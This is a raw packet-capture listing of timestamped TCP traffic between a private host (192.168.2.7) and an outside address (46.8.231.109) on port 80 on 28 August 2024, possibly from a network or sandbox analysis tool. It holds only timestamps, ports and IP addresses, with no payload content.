Aug 28, 2024 22:55:10.318470001 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:10.318471909 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:10.318475962 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:10.318480968 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:10.318481922 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:10.318489075 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:10.318501949 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:10.318504095 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:10.318509102 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:10.318516970 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:10.318527937 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:10.318545103 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:10.318564892 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:10.318608046 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:10.318653107 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:10.319253922 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:10.319262028 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:10.319274902 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:10.319281101 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:10.319288015 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:10.319300890 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:10.319313049 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:10.319344044 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:10.319494009 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:10.319509029 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:10.319514036 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:10.319531918 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:10.319534063 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:10.319545984 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:10.319551945 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:10.319557905 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:10.319559097 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:10.319566011 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:10.319577932 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:10.319583893 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:10.319590092 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:10.319590092 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:10.319597006 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:10.319608927 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:10.319608927 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:10.319616079 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:10.319622040 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:10.319622040 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:10.319629908 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:10.319643021 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:10.319648027 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:10.319653988 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:10.319654942 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:10.319669008 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:10.319683075 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:10.319683075 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:10.319690943 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:10.319699049 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:10.319708109 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:10.319711924 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:10.319720030 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:10.319722891 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:10.319724083 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:10.319730997 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:10.319736958 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:10.319742918 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:10.319742918 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:10.319751024 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:10.319756985 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:10.319762945 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:10.319762945 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:10.319770098 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:10.319782972 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:10.319808006 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:10.320522070 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:10.320528030 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:10.320538044 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:10.320544004 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:10.320549965 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:10.320555925 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:10.320573092 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:10.320573092 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:10.320581913 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:10.320589066 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:10.320599079 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:10.320619106 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:10.320621014 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:10.320621967 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:10.320628881 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:10.320631027 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:10.320636034 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:10.320636988 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:10.320637941 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:10.320641994 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:10.320650101 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:10.320657969 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:10.320671082 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:10.320677996 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:10.320681095 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:10.320687056 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:10.320698023 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:10.320704937 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:10.320709944 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:10.320712090 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:10.320727110 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:10.320732117 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:10.320750952 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:10.320770025 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:10.321265936 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:10.321274042 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:10.321285963 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:10.321291924 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:10.321297884 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:10.321305037 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:10.321316004 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:10.321317911 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:10.321326017 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:10.321331024 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:10.321336985 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:10.321342945 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:10.321347952 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:10.321353912 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:10.321353912 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:10.321362019 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:10.321372032 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:10.321376085 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:10.321378946 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:10.321391106 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:10.321403980 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:10.321407080 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:10.321419954 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:10.321422100 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:10.321427107 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:10.321438074 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:10.321445942 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:10.321450949 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:10.321456909 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:10.321460009 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:10.321464062 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:10.321471930 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:10.321481943 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:10.321485996 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:10.321494102 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:10.321500063 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:10.321502924 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:10.321521997 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:10.321548939 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:10.322216988 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:10.322223902 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:10.322235107 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:10.322243929 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:10.322247982 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:10.322324038 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:10.322324038 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:10.322413921 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:10.322419882 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:10.322432041 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:10.322437048 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:10.322444916 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:10.322455883 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:10.322459936 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:10.322462082 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:10.322469950 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:10.322484970 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:10.322503090 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:10.322520018 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:10.323199987 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:10.323206902 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:10.323221922 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:10.323226929 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:10.323232889 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:10.323237896 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:10.323244095 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:10.323251009 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:10.323262930 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:10.323266029 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:10.323270082 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:10.323276997 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:10.323302031 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:10.323323011 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:10.349443913 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:10.349466085 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:10.349477053 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:10.349535942 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:10.349543095 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:10.349548101 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:10.349560022 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:10.349590063 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:10.349642992 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:10.349654913 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:10.349663019 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:10.349714994 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:10.349714994 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:10.349746943 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:10.349754095 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:10.349792957 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:10.349817038 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:10.349821091 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:10.349827051 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:10.349831104 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:10.349852085 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:10.349868059 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:10.349915028 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:10.349991083 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:10.349994898 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:10.350004911 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:10.350011110 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:10.350018024 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:10.350039005 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:10.350064993 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:10.350116014 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:10.350121975 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:10.350177050 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:10.350188971 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:10.350219965 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:10.350224972 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:10.350265980 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:10.350338936 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:10.350344896 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:10.350356102 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:10.350362062 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:10.350385904 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:10.350409031 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:10.350419044 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:10.350450039 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:10.350452900 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:10.350464106 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:10.350488901 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:10.350507021 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:10.350513935 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:10.350527048 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:10.350557089 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:10.350627899 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:10.350635052 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:10.350646019 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:10.350676060 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:10.351214886 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:10.351259947 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:10.351265907 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:10.351273060 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:10.351315975 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:10.351347923 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:10.351353884 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:10.351366043 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:10.351372004 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:10.351392984 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:10.351418018 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:10.351443052 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:10.351454973 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:10.351495981 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:10.408139944 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:10.412904024 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:10.582521915 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:10.582529068 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:10.582597017 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:10.582655907 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:10.582709074 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:10.582714081 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:10.582751036 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:10.582762957 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:10.582770109 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:10.582813978 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:10.582822084 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:10.582834959 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:10.582847118 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:10.582851887 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:10.582861900 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:10.582878113 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:10.582896948 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:10.582926035 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:10.582947016 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:10.582953930 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:10.582966089 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:10.582972050 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:10.583004951 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:10.583061934 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:10.583095074 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:10.583106995 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:10.583112955 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:10.583123922 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:10.583131075 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:10.583164930 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:10.583200932 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:10.583206892 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:10.583219051 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:10.583224058 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:10.583236933 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:10.583256006 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:10.583278894 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:10.583280087 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:10.583304882 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:10.583311081 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:10.583322048 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:10.583334923 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:10.583348989 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:10.583517075 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:10.583529949 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:10.583533049 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:10.583537102 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:10.583540916 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:10.583547115 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:10.583553076 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:10.583559036 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:10.583574057 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:10.583579063 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:10.583616972 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:10.585092068 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:10.585103989 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:10.585118055 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:10.585124016 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:10.585135937 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:10.585140944 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:10.585144043 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:10.585180044 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:10.585199118 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:10.585200071 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:10.585206985 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:10.585220098 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:10.585249901 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:10.585320950 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:10.585328102 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:10.585339069 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:10.585345030 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:10.585350990 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:10.585387945 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:10.585412979 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:10.585438967 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:10.585465908 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:10.585472107 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:10.585488081 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:10.585521936 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:10.585527897 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:10.585527897 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:10.585536003 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:10.585567951 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:10.585592031 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:10.585700035 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:10.585711956 CEST	80	49702	46.8.231.109	192.168.2.7
